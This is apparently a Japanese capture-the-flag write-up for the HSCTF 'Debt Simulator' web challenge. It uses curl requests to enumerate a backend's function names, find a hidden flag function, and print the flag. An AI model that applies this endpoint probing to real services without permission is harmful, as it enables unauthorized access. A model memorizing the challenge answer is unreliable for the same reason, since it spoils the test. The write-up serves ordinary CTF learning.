https://debt-simulator.web.hsctf.com/
アクセスするとゲームが楽しめる。
Debt :))
site.png
絶対に勝てないようになっているのでズルをしてみる。
$-1000でYou lost. You have less than $-1000. Better luck next time.
$2000でYou won. You have more than $2000. Try your luck again?
と表示されるだけだ。
通信を見てみる(ソースのjsを見ても良い)と、https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001 にPOSTしている。
詳細は以下になる。
$ curl -X POST -d "function=getPay" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":15}
$ curl -X POST -d "function=getCost" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":52}
$ curl -X POST -d "function=AAAAA" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":"could not recognize function"}
$ curl -X POST -d "function=getFlag" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":"nice try but no"}
functionが不明である。
getFlagでは取れないようだ。
GETするとfunctionが降ってきたので、getgetgetgetgetgetgetgetgetFlagを使うとflagが得られる。
$ curl -X GET https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"functions":["getPay","getCost","getgetgetgetgetgetgetgetgetFlag"]}
$ curl -X POST -d "function=getgetgetgetgetgetgetgetgetFlag" https://debt-simulator-login-backend.web.hsctf.com/yolo_0000000000001
{"response":"flag{y0u_f0uND_m3333333_123123123555554322221}"}